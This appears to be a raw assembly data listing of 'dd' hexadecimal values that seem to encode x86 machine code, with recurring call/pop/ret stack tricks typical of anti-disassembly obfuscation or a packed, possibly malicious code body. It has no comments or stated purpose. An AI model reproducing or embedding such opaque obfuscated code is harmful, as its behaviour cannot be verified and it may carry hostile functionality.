dd 2EF322BEh, 0D1910119h, 0BD8B7FEAh, 61323A5h, 0A36A9D8Dh
dd 0BF660616h, 0D3FF3C60h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 0CFC35747h, 3DB0BE66h, 16D985FFh, 6A0613h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
dd 0D4F58CC3h, 6D8D892Bh, 66061323h, 89C4D681h, 81BE9h
dd 0E800h, 815D0000h, 17003CEDh, 0F08B6606h, 0B21BD81h
dd 7D00613h, 860F0000h, 16Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 9FC35545h, 6399D8Bh, 6A0613h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 9D8902C3h, 6130F01h, 100E381h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0E5AF44C3h
dd 0C70BA7BFh, 0F9BD8B18h, 0B061320h, 0A8850FDBh, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0F35AC352h, 0DE9C6h, 0FE720000h, 38D0861Ah
dd 0E9786F89h, 835E6934h, 16FE98BDh, 840F0006h, 49h, 0D850360h
dd 0F06131Bh, 684h, 0D1B58900h, 61061306h, 81E9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 2ABBD854h, 7A01C09Bh, 81BD8B1Ah, 2306132Bh, 1305B1BDh
dd 9885C706h, 10616FEh, 0E9000000h, 8, 0D66AB7EEh, 48F64F42h
dd 35E9h, 898D3100h, 0C7061301h, 16FE9885h, 6, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 54725ECCh, 0F7B1A3ECh, 9D8D6BBCh, 6130639h, 8BF28B66h
dd 1313C9BDh, 0FF238106h, 9FFFFFEh, 1328C99Dh, 0DB8C6606h
dd 13E9h, 7E155C00h, 0AA6A2385h, 5EFB1503h, 1F9DF327h
dd 0BE34C82Dh, 0F04C3F6h, 5384h, 9858900h, 0FF06131Eh
dd 13211195h, 9BD8B06h, 9006132Dh, 88A0Fh, 800F0000h, 2
dd 9050F28Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0DAC35747h, 59327264h, 17FA4F96h, 830Fh, 0B5330000h
dd 61325D9h, 3E9E9h, 580FBE00h, 0B0729Bh, 11E8h, 922C0700h
dd 6EE40C3Eh, 0A353C7DCh, 0AFC87E0Eh, 0F98BE959h, 6A70E65Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0C05AC353h, 0DE9CB096h, 7D86B150h, 16218D29h
dd 71E40613h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 77C35545h, 4A6B691Bh, 17DF019Fh, 0F18B66A0h, 66D8B60Fh
dd 6BAF38Bh, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 23BBC350h, 0E2DE5E80h
dd 3F484709h, 8BF88B66h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 8E911h, 63880000h, 993E69D4h
dd 0E8C14CA3h, 919D0904h, 6606130Fh, 0BD89E2F7h, 61331A9h
dd 0BF0FD82Bh, 525093F8h, 8E9935Eh, 0E4000000h, 8B379C97h
dd 19C1084h, 1306C59Dh, 21B5FF06h, 106130Bh, 1317199Dh
dd 0A995FF06h, 906130Dh, 130545B5h, 6A00B006h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 0A022C351h, 0E99C91D2h, 8589E860h, 6131BA1h, 6A70E6h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0A560DCC3h, 60288822h, 0B618D89h, 0AE80613h, 1D000000h
dd 3FFD1DB0h, 0C6DFEA31h, 0F0BF0F2Bh, 5FBE6159h, 0E4008F08h
dd 3FB66071h, 0E8C9D3BFh, 613C6115h, 24C830Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 2CCDBDC3h, 0B58B1410h, 613015Dh, 0B1C68166h, 0D8B60FDCh
dd 14E9h, 0BE9F0100h, 904C4C6h, 0BA0FFE61h, 0A24D1AFFh
dd 685F3AFh, 6BADBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 1C73A6C3h, 0FB1D0E00h
dd 8B111786h, 0B00BBEC3h, 0E8C11E78h, 57006A04h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0DFA61F50h, 0F69F162h, 8Fh, 0C8C0F00h, 0E9000000h, 7
dd 177FC4CFh, 668EDB40h, 0E856E2F7h, 0Ah, 4AC40B2h, 6A7FA131h
dd 8E9B8EEh, 0E1000000h, 53BEA2E2h, 5E180768h, 6AD82B5Fh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 0AF12C356h, 205E8AA3h, 10EE4ACh, 131789BDh
dd 0B5BD8B06h, 58061321h, 118F0Fh, 8E80000h, 0B8000000h
dd 3A3D33A4h, 66170BD7h, 2B5EF08Bh, 23880FD8h, 0B9000001h
dd 7, 48C0Fh, 0BE660000h, 0C183C504h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 73BB1FFBh, 3B20EC03h, 0E7860FD9h, 66000000h, 6AD98Ch
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0BF575CC3h, 567A9539h, 0F04C1F6h, 9384h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0C50A113Ah, 84E8A1D0h, 58D0Fh, 81660000h, 0FF9F5ADEh
dd 13211195h, 0F9D78106h, 30469DBh, 132559BDh, 0B58B5B06h
dd 6130D4Dh, 2BAD9D29h, 0C32B0613h, 13719D89h, 343D0613h
dd 0F000008h, 3386h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 6880F30h, 8B000000h, 131B69BDh
dd 2CE906h, 85890000h, 6131961h, 0B533C08Bh, 6132FB1h
dd 18830Fh, 13E90000h, 81000000h, 33A049FAh, 20DD2BF9h
dd 0A6F45635h, 0DE1B36D6h, 0C38BA815h, 0B589D88Bh, 61313FDh
dd 111185C7h, 0F91B0613h, 95893DF1h, 6130AA9h, 6AC08Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 226B6C3h, 0BD815F18h, 6130B21h, 7D0h, 34850Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 3E9766C3h, 20BF883Fh, 0D21BD8Bh, 85FF0613h, 6130B21h
dd 0D9B58Bh, 0B5FF0613h, 6130B21h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 12C35646h, 0DB9BBFA2h, 95FF6802h
dd 6130DA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0A8C35343h, 0B6730097h, 1CE1B52Bh, 0E9900613h
dd 0Ch, 76969EC3h, 96E68FC3h, 289F5B0Eh, 52006AF5h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0E01170B2h, 324DB533h, 0D7810613h, 2460C4E0h, 0E69CBF66h
dd 0B8C0Fh, 81660000h, 8BF61FD7h, 1324CDB5h, 0E5858906h
dd 0E8061305h, 5, 0E3F93BCCh, 15B52385h, 5F06132Ah, 0E1BF6650h
dd 6A5FE7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 1D66AC3h, 13317585h, 7D9D8906h, 6A06131Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 0A980C357h, 2318468Bh, 2963214Fh, 131ECD95h
dd 99B52B06h, 0F506132Bh, 4D44EBFh, 0CD958972h, 60061324h
dd 68A0Fh, 8D090000h, 6131FA5h, 23619D89h, 1FB50613h, 0DD19D89h
dd 8B610613h, 130A75BDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 7AC95546h, 27C1DD12h
dd 0F81BE97Ch, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0E11D4CC3h, 0ADFB3214h, 9E9h, 80629C00h
dd 74549A67h, 9D89CC4Dh, 6133029h, 6AC18Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 55625BC3h
dd 59A3D4CDh, 0EB01BB45h, 4, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0FBC84ADAh
dd 55006A43h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 80E7EF87h, 6E1AD672h, 1B699589h, 858D0613h
dd 6131EA9h, 78D8531h, 0F500613h, 285h, 89F78B00h, 0BE662404h
dd 6A2E37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 68C35545h, 0A0239B6Bh, 3F69A70Dh, 0FABF0FCDh, 11D9BD29h
dd 6A0613h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 29C35242h, 0A046E324h, 8B660216h, 19858DF3h, 6A06170Ah
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 833FC355h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 8A0FADC3h, 3, 50F98B66h
dd 0DA8B6660h, 24048961h, 8A60F18Bh, 51858BD9h, 61061301h
dd 0DDBF006Ah, 6A47C939h, 0F195FF00h, 6A061307h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 4FC7C353h, 7921C525h, 0C88A60A8h, 68D0Fh, 0D6810000h
dd 37F8D0B5h, 6A9D8D61h, 660616A3h, 0FF3D2CBEh, 55006AD3h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 66F3795Ah, 8D89F78Bh, 6130AF1h, 16D985FFh, 0D4BF0613h
dd 0E9488AFAh, 81Dh, 0E8h, 0ED815D00h, 6170A23h, 81F9BF0Fh
dd 130B21BDh, 7D006h, 7C860F00h, 6A000001h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E923C352h
dd 14h, 3D1BABB1h, 48E8C592h, 5AF950D6h, 96B4EF9Eh, 0EE1E293Ch
dd 2CD59D8Bh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 794DFBC3h, 29AD9589h, 0E3810613h
dd 100h, 11E98D89h, 0DB0B0613h, 83850Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
dd 651398C3h, 0BCF6CBEAh, 81661EF8h, 838FFAEFh, 17087BBDh
dd 840F0006h, 17h, 13B5BD89h, 5EE90613h, 0F000000h, 68Bh
dd 9BD0B00h, 0C706130Fh, 17087B85h, 106h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 80185DEAh, 22E9D27Dh, 81000000h, 0A2A8F0E7h, 7B85C760h
dd 61708h, 0F000000h, 0C80h, 6800F00h, 2B000000h, 132981B5h
dd 0D59D8D06h, 6A06132Ch, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0CDF9C350h, 8E8h, 0FA384B00h
dd 8E6E26CAh, 45B53351h, 5E06132Ah, 0FEFF2381h, 6AFFFFh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 0B72977C3h, 968BD9BFh, 8BFC2CD9h, 8D0FF3h, 66000000h
dd 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 6B68C7C3h, 0DA0239Bh, 0BE3F69A7h, 2FAD8B58h
dd 0E65B503h, 0C3F60613h, 6B840F04h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0FFEFC353h, 13211195h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 59D75859h
dd 514DE381h, 5790F8DCh, 7E8505Eh, 61000000h, 1424FC71h
dd 830F40B7h, 6, 850Fh, 905F0000h, 0DD1B589h, 0EAE90613h
dd 89000003h, 132B4185h, 6A00B006h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 6672C350h
dd 0E612D7BEh, 71E4F570h, 1605B533h, 0B60F0613h, 49B58BD8h
dd 0BA061317h, 6, 1681BD89h, 0C38B0613h, 0C1FB8B66h, 6A04E8h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 0AE2A24C3h, 0F18BC7E1h, 66E2F766h, 2BD985BFh, 52006AD8h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 937B6747h, 0CE860h, 68950000h, 92254A69h, 8DB2705Dh
dd 5957C762h, 38E0F59h, 66000000h, 5061FE8Bh, 0BDB52993h
dd 0FF06132Eh, 130B21B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C86F19A4h
dd 73FD89E6h, 0C58D291Dh, 0FC06130Dh, 0B61B58Bh, 95FF0613h
dd 6130DA9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 40C35040h, 0A0E23F98h, 0D7180A92h, 0A66EBF66h
dd 25D1B58Bh, 0B00613h, 10E8h, 49E75E00h, 865CD10Bh, 9D3E0532h
dd 0CAFB617Ch, 6840FDDh, 0F000000h, 82h, 70E65F00h, 128A0Fh
dd 0DE90000h, 0E9000000h, 0EC70B744h, 55745CFFh, 0CAF145EFh
dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 35B547C3h, 830F613Ch, 259h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 16h, 0CEC35747h, 88BF9193h
dd 66609892h, 0F6AFE781h, 6AD8B60Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6916C355h
dd 97880758h, 68A0Fh, 0B58B0000h, 6131741h, 6BAh, 8BF38B00h
dd 5CF781C3h, 0C173169Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 8B45B6C3h, 130DD1BDh
dd 0E2F76606h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 2EC35141h, 8EEE8166h, 0F2BF0F3Fh, 9529D82Bh, 6131DADh
dd 6810F58h, 8B000000h, 133045B5h, 0FD82B06h, 18888h, 0BE900h
dd 9A440000h, 5AECBD93h, 8BCB15D3h, 7B948h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 60B28C3h, 1F45BD01h, 0C1830613h, 0AE800h, 0F0800000h
dd 0CF2EF1E1h, 0F9D04D30h, 45DE8166h, 0D93B5F8Eh, 12F860Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 5A1C0DC3h, 0D98C6663h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 1DC35747h, 0ABFD2AEh, 0E9F9B503h
dd 11h, 4BD0CFCEh, 0CCA841B7h, 3594B863h, 14428D92h, 4C1F685h
dd 0A2840Fh, 0BF660000h, 95FF1759h, 6132111h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1CC35343h, 24CD2547h
dd 800F4287h, 5, 2CEF8166h, 8D895BA2h, 6131145h, 0F78BC32Bh
dd 8343Dh, 55860F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 2FDC351h, 3564333Dh
dd 0FE99F62h, 38Fh, 0F38B6600h, 4CE9h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0B58B923Dh, 6131CCDh, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 0E43885C3h, 8910498Ah
dd 131DADBDh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 7479257Bh, 9CD6C10h, 130EB58Dh
dd 3985C706h, 0F7061306h, 0BF7E0D5Dh, 6615D95Fh, 8166C08Bh
dd 81FBCDE7h, 130B21BDh, 7D006h, 0D850F00h, 0F5000000h
dd 349DB58Bh, 85FF0613h, 6130B21h, 0B21B5FFh, 0BD8B0613h
dd 6130D11h, 0DA995FFh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 0CCE76BC3h, 2A4DBD89h
dd 0F900613h, 8Dh, 0B9B58B00h, 31061300h, 1313D995h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 59C6815Bh, 0BF08C9D3h, 4AA279B5h, 3C54E681h, 6A54ADh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 0AEEA46C3h, 870FA1h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B3E1C357h
dd 808BA33Eh, 8B131D36h, 1325DDBDh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 44239F5Ch
dd 0F8367551h, 0ED9589C8h, 6A06131Dh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E18AC351h
dd 0E9237E8Bh, 13h, 0C03AEC9Dh, 0D93B6CB6h, 0B2D3491Fh
dd 19A4EEDEh, 6AE6C86Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0E926C357h, 0Dh, 11B8D620h
dd 45622B78h, 0F49D46F6h, 0E9F98BE7h, 0FFFFF814h, 0DE8h
dd 534D8500h, 0F10D72E1h, 0A1A5A902h, 8D89EBABh, 6131311h
dd 0DE95Fh, 950E0000h, 49BC1D69h, 0C8505F82h, 89DB59E1h
dd 131F09BDh, 89C18B06h, 131B6D9Dh, 4EB06h, 66000000h
dd 0B9C4CE81h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 80C35646h, 7F02F7C7h, 10D9BD33h, 0CF810613h, 77BA7BA4h
dd 1EA9858Dh, 0BF660613h, 605035F9h, 11E8DC8Ah, 7B000000h
dd 73F8D721h, 18FFC8AEh, 595365B2h, 59694915h, 6159CE8Bh
dd 0F240489h, 58Bh, 0C6816600h, 6A54E1h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 17h, 0D6C35545h, 8B4ED891h
dd 1323A1B5h, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0FA73C352h, 0EF858D73h
dd 89061713h, 13177D8Dh, 0C7DE8106h, 834DFE8Bh, 6A05C0h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 899AE6C3h, 132965B5h, 50565006h, 5E852h, 62020000h
dd 5EF4C5F6h, 585A310Fh, 2404895Fh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 48C35747h, 0EEFB0571h, 0FAB70F3Fh
dd 1ED1B58Bh, 6A0613h, 10E9h, 42A8C700h, 24090161h, 0E5075C3h
dd 0E646412Dh, 6A006AAFh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0FF3CC351h, 1307F195h
dd 79BD0306h, 8D061312h, 16A36A9Dh, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C9C4912Ah
dd 0BA29BFBFh, 29D3FF70h, 13353995h, 0D985FF06h, 89061316h
dd 132CB9B5h, 7CCE906h, 0E80000h, 5D000000h, 13F9ED81h
dd 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0AFBB7BC3h, 7E8CAF2h, 49000000h, 27EC5838h
dd 953195A1h, 6132819h, 21BD815Fh, 0D006130Bh, 0F000007h
dd 19A86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 0BF66E14Ah, 9D8B7DABh, 6133251h
dd 0E381FCh, 6A000001h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 37F1C357h, 3C8C0C46h
dd 0B375F7Fh, 0D6850FDBh, 0F000000h, 688h, 0D9952900h
dd 83061306h, 171245BDh, 840F0006h, 44h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 93C35343h
dd 8975A47Ah, 13113D85h, 858D8906h, 0E9061319h, 0B7h, 0FE9h
dd 9A399A00h, 8B392DF6h, 8E48636h, 459FEE9Bh, 124585C7h
dd 10617h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 9DEB8CC3h, 0C2C7E587h, 85FBBFE4h
dd 6CE927DCh, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0E901C351h, 8, 0FC221182h
dd 40A73ECFh, 14E9h, 0BFF7FA00h, 91CD4019h, 28B5B065h
dd 281AC02Eh, 6743B5EDh, 4585C767h, 61712h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 8ABC352h, 8D465F08h, 1332519Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0F10F0E9h, 81F5F6B7h, 0FFFEFF23h, 0BE8FFh, 0DDC20000h
dd 6EFD72F1h, 221DBF5Bh, 665EF810h, 0F6FCDB8Ch, 840F04C3h
dd 63h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch
dd 0B2C35747h, 8A5F9C3Fh, 5EA97F2h, 9F2B70Fh, 13110D85h
dd 1195FF06h, 8B061321h, 800F50F3h, 2, 489FB8Bh, 53006A24h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 0DDB58B03h, 0E9061316h, 3EFh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 0D9C35646h, 0B0F28B66h, 61B58B00h
dd 0E6061323h, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 6F578C15h, 93DB1386h
dd 8971E4ECh, 130619BDh, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 1CC35646h, 0CE01CC06h, 5A77361Ah
dd 219D896Ch, 66061316h, 6BAF18Bh, 31000000h, 132EBD9Dh
dd 89C38B06h, 130F599Dh, 4E8C106h, 208DBD8Bh, 0F7660613h
dd 0D78166E2h, 0D82B70E7h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0AFC35141h, 533F4F01h, 0BE934B9Bh, 51E82AA9h
dd 2A19BE50h, 6A930F0Ah, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 0D812C351h, 0BD8BBB19h
dd 6130E55h, 0B21B5FFh, 9D090613h, 6133151h, 0DA995FFh
dd 870F0613h, 6, 30318D89h, 0B00613h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 96C35646h, 597537Bh, 39621781h
dd 68F0F12h, 29000000h, 131F19B5h, 8B70E606h, 6A71E4F2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 0F18AC355h, 0F373901h, 613CFFB7h, 26D830Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 37621DC3h, 23AB0701h, 132135BDh, 0D8B60F06h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8BC35242h
dd 7350B09Ah, 0F345F86h, 388h, 0F7BF0F00h, 6BAh, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0A67D2C48h, 81F68E8Dh, 0F65E63EFh, 0CE96Bh, 0CA990000h
dd 0B261F503h, 5E123514h, 0C38B9738h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 0DFC35545h, 0D2694095h, 558589A0h
dd 0C106130Eh, 0F76604E8h, 56006AE2h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0CB00FF00h
dd 2958D82Bh, 131D55BDh, 0FD82B06h, 17A88h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 3A0662F2h, 0E15F99C2h, 0B529B5C6h, 613011Dh, 7B9h, 0F78B6600h
dd 6600C183h, 3BF858BFh, 38860FD9h, 6A000001h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 0E0C3C357h, 0DE9EB95h, 56000000h, 5993B6A1h, 0AB5F83D5h
dd 3C086FD9h, 8BD98C66h, 130C69B5h, 4C1F606h, 0BF840Fh
dd 0BE80000h, 35000000h, 10699ECCh, 0FBB1DF8Bh, 8E0F2BFAh
dd 6, 3549B58Bh, 0FF5F0613h, 13211195h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 8953C4D1h, 130A8585h, 6A5B5F06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0ADABC357h
dd 0C98ED68Eh, 17D880CDh, 7E8h, 72879400h, 10931FA3h, 1FBDB58Bh
dd 2B5E0613h, 11B50BC3h, 3D06130Bh, 834h, 2B860Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 10B0DAC3h, 3CE9EDE8h, 89000000h, 130C158Dh, 6AC08B06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0B2F3C357h, 0E99B2C3Eh, 0Fh, 3244946h, 0A3CDEAAFh
dd 358B5E0h, 8B7E8AC3h, 0E9D88BC3h, 14h, 0C6BE9F01h, 610904C4h
dd 0FFBA0FFEh, 0AFA24D1Ah, 0DB0685F3h, 2CD585C7h, 175D0613h
dd 85897DC2h, 6131DEDh, 0BD8BC08Bh, 61311BDh, 0B21BD81h
dd 7D00613h, 850F0000h, 0Eh, 0B2185FFh, 33560613h, 131CD9B5h
dd 0B5FF5E06h, 6130B21h, 0FFF1BF0Fh, 130DA995h, 0C6819006h
dd 3A815682h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0A5C35242h, 5E596A70h, 0B5012435h, 61301E9h, 0F2B70F51h
dd 0A5B5295Eh, 6A06131Eh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0F05C352h, 0C81h, 6890F00h
dd 2B000000h, 131EC1B5h, 8589FC06h, 61323B9h, 53006AF8h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 108923D2h, 12E96Bh, 0DDF90000h, 7801CEF6h, 1BD70ABBh
dd 0BA3E9889h, 30C7B338h, 74A784BEh, 0BD8B523Fh, 6131D85h
dd 6AF38B5Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 85F8C352h, 2B3F97FDh, 0B58B65ABh
dd 61324C5h, 1F51BD8Bh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 25A8A0C3h, 48CABCC8h
dd 0B58BCB28h, 6132379h, 0F83CE9FCh, 0B58BFFFFh, 6131BA1h
dd 0C18BF78Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 1AC35343h, 3C38EDBDh, 4EB6Bh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0F534C357h, 4A9752ECh, 9D897503h, 61314F5h, 3800Fh
dd 8B660000h, 51006AFBh, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 93EA5DDCh, 8BF1680Dh, 130BC5B5h
dd 0A9858D06h, 6A06131Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 19042444h, 43000000h, 0F68EC353h, 0A6C3FFB9h
dd 0CCBA6090h, 0F7756A2h, 289h, 61616000h, 6A9050h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 705CDBC3h, 6A401Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h
dd 0EAC35646h, 893E8A83h, 131BCDB5h, 38E78106h, 6A4C182Dh
dd 0BCBF6600h, 86858D7Eh, 5606171Dh, 1471BD09h, 895E0613h
dd 131A51BDh, 5C08306h, 45DF8166h, 0D9BF50DBh, 8915EEE1h
